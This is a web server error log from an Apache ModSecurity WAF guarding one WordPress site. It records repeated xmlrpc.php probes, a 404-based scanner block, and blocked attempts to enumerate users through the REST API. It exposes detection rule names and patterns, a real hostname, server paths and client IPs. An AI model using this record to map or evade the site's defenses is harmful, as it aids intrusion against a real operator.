[Sat Apr 11 09:32:45.686593 2026] [:error] [pid 25460:tid 25483] [client 173.249.55.89:40588] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admkvZ4qILXFw3ifO2tqMAAAAFU"]
[Sat Apr 11 09:42:45.948204 2026] [:error] [pid 34823:tid 34867] [client 157.15.40.61:60202] [client 157.15.40.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "admnFQsYI0mgChM8Fe26MQAAAU0"]
[Sat Apr 11 09:49:14.979884 2026] [:error] [pid 35599:tid 35624] [client 138.68.162.171:39518] [client 138.68.162.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.162.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admomud0ai377FLwoeDs9AAAAJY"]
[Sat Apr 11 09:50:51.146356 2026] [:error] [pid 35633:tid 35636] [client 159.89.91.236:60498] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admo-2UQo_ah7EEEnqfNWQAAAME"]
[Sat Apr 11 10:03:45.385776 2026] [:error] [pid 46010:tid 46023] [client 159.65.130.72:60736] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admsAV0b0ppA7QwO6rmnzAAAAYk"]
[Sat Apr 11 10:04:27.976461 2026] [:error] [pid 46105:tid 46113] [client 35.242.254.186:35246] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admsKwQx5TMzgL5W2CcKXgAAAMU"]
[Sat Apr 11 10:05:38.455779 2026] [:error] [pid 46012:tid 46072] [client 107.180.252.236:48418] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admscvh0LzRW7MDZ12edSQAAAII"]
[Sat Apr 11 10:09:52.927725 2026] [:error] [pid 46105:tid 46116] [client 164.92.66.167:52176] [client 164.92.66.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.66.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admtcAQx5TMzgL5W2CcROgAAAMg"]
[Sat Apr 11 10:10:08.130810 2026] [:error] [pid 46105:tid 46120] [client 89.163.159.173:37430] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admtgAQx5TMzgL5W2CcRsAAAAMw"]
[Sat Apr 11 10:14:15.120177 2026] [:error] [pid 51058:tid 51094] [client 177.125.192.109:57576] [client 177.125.192.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.125.192.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admudxYkkom86g_j3WWOjQAAAEQ"]
[Sat Apr 11 10:17:08.977681 2026] [:error] [pid 51057:tid 51078] [client 46.163.72.195:52224] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admvJPwihVhmIcVvt69MUQAAAZA"]
[Sat Apr 11 10:18:35.409515 2026] [:error] [pid 51149:tid 51169] [client 109.172.115.12:41072] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admveyOX-7LFCsdaEj7dGgAAABI"]
[Sat Apr 11 10:22:09.828779 2026] [:error] [pid 51057:tid 51075] [client 51.91.58.113:51226] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.58.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admwUfwihVhmIcVvt69POAAAAY0"]
[Sat Apr 11 10:30:37.321633 2026] [:error] [pid 58195:tid 58242] [client 162.222.34.234:41336] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admyTQPvj06vzrczQjv7RwAAAI8"]
[Sat Apr 11 10:31:06.506714 2026] [:error] [pid 58288:tid 58306] [client 64.23.172.230:33468] [client 64.23.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.23.172.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admyanf_USd3ofWlU3skvQAAAFA"]
[Sat Apr 11 10:31:51.183614 2026] [:error] [pid 58195:tid 58234] [client 5.194.129.172:60598] [client 5.194.129.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.194.129.172, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admylwPvj06vzrczQjv7sAAAAIc"]
[Sat Apr 11 10:31:52.679779 2026] [:error] [pid 58194:tid 58217] [client 5.194.129.172:60612] [client 5.194.129.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "admymKT4IiVFj-rhcaX60wAAARI"]
[Sat Apr 11 10:31:56.171799 2026] [:error] [pid 58194:tid 58220] [client 5.194.129.172:60612] [client 5.194.129.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "admynKT4IiVFj-rhcaX66wAAARU"]
[Sat Apr 11 10:35:05.555704 2026] [:error] [pid 58194:tid 58201] [client 177.91.132.9:38100] [client 177.91.132.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.132.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admzWaT4IiVFj-rhcaX9XAAAAQI"]
[Sat Apr 11 10:36:07.898483 2026] [:error] [pid 58194:tid 58221] [client 57.128.117.142:39308] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admzl6T4IiVFj-rhcaX-QwAAARY"]
[Sat Apr 11 10:38:11.830648 2026] [:error] [pid 58195:tid 58248] [client 143.244.166.58:42930] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm0EwPvj06vzrczQjv-OQAAAJU"]
[Sat Apr 11 10:43:53.608477 2026] [:error] [pid 789:tid 809] [client 144.202.29.51:35898] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm1af6oQ-KrBZ7hKL789gAAANE"]
[Sat Apr 11 10:44:47.268175 2026] [:error] [pid 682:tid 695] [client 167.86.71.49:35932] [client 167.86.71.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.71.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm1nwi1I3-I3S0XH-ll8gAAAIc"]
[Sat Apr 11 10:55:51.587703 2026] [:error] [pid 2297:tid 2321] [client 34.73.73.46:46164] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm4N7XJS-Jji11jZk1zAwAAARQ"]
[Sat Apr 11 11:02:03.186227 2026] [:error] [pid 2297:tid 2311] [client 95.211.55.162:54580] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm5q7XJS-Jji11jZk14QwAAAQo"]
[Sat Apr 11 11:04:23.675884 2026] [:error] [pid 2186:tid 2209] [client 217.154.192.21:35410] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm6N8ibnOEEvcO8wPLOawAAAJM"]
[Sat Apr 11 11:04:53.037769 2026] [:error] [pid 2187:tid 2234] [client 192.250.227.63:44728] [client 192.250.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.227.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm6VQ4J29_qQi0FkjhP_QAAAAY"]
[Sat Apr 11 11:07:41.774316 2026] [:error] [pid 2188:tid 2271] [client 34.165.13.211:56438] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm6_YDhDA-Xtn2nRSfEDwAAAM8"]
[Sat Apr 11 11:08:59.031249 2026] [:error] [pid 2297:tid 2303] [client 185.252.234.215:58128] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm7S7XJS-Jji11jZk2AgwAAAQI"]
[Sat Apr 11 11:10:09.187167 2026] [:error] [pid 2187:tid 2251] [client 148.251.46.181:58078] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm7kQ4J29_qQi0FkjhTfgAAABc"]
[Sat Apr 11 11:16:21.681080 2026] [:error] [pid 2187:tid 2234] [client 95.217.38.155:37144] [client 95.217.38.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.217.38.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm9BQ4J29_qQi0FkjhXYAAAAAY"]
[Sat Apr 11 11:16:25.683965 2026] [autoindex:error] [pid 2297:tid 2322] [client 164.68.113.198:55165] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Apr 11 11:17:26.782121 2026] [:error] [pid 2297:tid 2310] [client 148.113.202.220:57226] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm9RrXJS-Jji11jZk2KLgAAAQk"]
[Sat Apr 11 11:21:14.921360 2026] [:error] [pid 2188:tid 2259] [client 69.57.172.96:34724] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm-KoDhDA-Xtn2nRSfMrwAAAMM"]
[Sat Apr 11 11:21:44.001786 2026] [:error] [pid 11067:tid 11074] [client 34.165.13.211:49844] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adm-SMW3w7N67R04YCIdNgAAAEU"]
[Sat Apr 11 11:37:57.161727 2026] [:error] [pid 2188:tid 2274] [client 156.38.230.175:46836] [client 156.38.230.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.38.230.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnCFYDhDA-Xtn2nRSfS0AAAANI"]
[Sat Apr 11 11:39:10.291881 2026] [:error] [pid 11067:tid 11078] [client 103.85.84.51:55312] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnCXsW3w7N67R04YCIoPAAAAEk"]
[Sat Apr 11 11:42:31.094367 2026] [:error] [pid 11067:tid 11090] [client 37.27.142.217:36658] [client 37.27.142.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.27.142.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnDJ8W3w7N67R04YCIqnAAAAFU"]
[Sat Apr 11 11:43:01.671845 2026] [:error] [pid 2188:tid 2264] [client 52.226.240.29:5824] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnDRYDhDA-Xtn2nRSfVVgAAAMg"]
[Sat Apr 11 11:46:10.628491 2026] [:error] [pid 11067:tid 11076] [client 217.114.10.59:39814] [client 217.114.10.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.114.10.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnEAsW3w7N67R04YCIsqAAAAEc"]
[Sat Apr 11 11:52:47.684032 2026] [:error] [pid 2188:tid 2270] [client 13.239.161.156:52296] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnFj4DhDA-Xtn2nRSfZaAAAAM4"]
[Sat Apr 11 12:00:56.923483 2026] [:error] [pid 11067:tid 11082] [client 190.121.23.218:54148] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnHeMW3w7N67R04YCI2fwAAAE0"]
[Sat Apr 11 12:03:41.024475 2026] [:error] [pid 11067:tid 11082] [client 149.202.183.73:50658] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnIHcW3w7N67R04YCI5HQAAAE0"]
[Sat Apr 11 12:04:46.511607 2026] [:error] [pid 2297:tid 2323] [client 66.179.191.163:33486] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnIXrXJS-Jji11jZk2e_gAAARY"]
[Sat Apr 11 12:12:41.534506 2026] [:error] [pid 11067:tid 11087] [client 88.198.106.177:53680] [client 88.198.106.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.106.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnKOcW3w7N67R04YCI_NQAAAFI"]
[Sat Apr 11 12:20:30.796835 2026] [:error] [pid 11067:tid 11076] [client 173.249.51.70:34680] [client 173.249.51.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.51.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnMDsW3w7N67R04YCJGYQAAAEc"]
[Sat Apr 11 12:21:21.997015 2026] [:error] [pid 2297:tid 2308] [client 141.94.27.49:48186] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnMQbXJS-Jji11jZk2oLgAAAQc"]
[Sat Apr 11 12:23:00.074039 2026] [:error] [pid 11067:tid 11071] [client 46.246.39.245:41362] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnMpMW3w7N67R04YCJIjQAAAEI"]
[Sat Apr 11 12:26:22.982528 2026] [:error] [pid 2188:tid 2256] [client 107.180.252.236:32860] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnNboDhDA-Xtn2nRSfl1wAAAMA"]
[Sat Apr 11 12:40:09.881842 2026] [:error] [pid 2186:tid 2190] [client 66.179.191.163:57190] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnQqcibnOEEvcO8wPLpWQAAAIA"]
[Sat Apr 11 12:44:57.474110 2026] [:error] [pid 11067:tid 11082] [client 34.140.181.23:14706] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnRycW3w7N67R04YCJYXgAAAE0"]
[Sat Apr 11 12:48:49.946630 2026] [:error] [pid 2187:tid 2234] [client 103.186.241.154:7863] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnSsQ4J29_qQi0FkjhyJgAAAAY"]
[Sat Apr 11 12:54:41.246915 2026] [:error] [pid 2186:tid 2194] [client 137.184.237.108:34096] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnUEcibnOEEvcO8wPLtGAAAAIQ"]
[Sat Apr 11 12:56:56.622011 2026] [:error] [pid 2187:tid 2242] [client 20.163.27.0:57204] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnUmA4J29_qQi0Fkjh0lAAAAA4"]
[Sat Apr 11 12:57:45.503678 2026] [:error] [pid 11067:tid 11084] [client 35.226.125.165:53926] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnUycW3w7N67R04YCJhuAAAAE8"]
[Sat Apr 11 13:09:52.254439 2026] [:error] [pid 2187:tid 2235] [client 23.98.148.92:35258] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnXoA4J29_qQi0Fkjh35AAAAAc"]
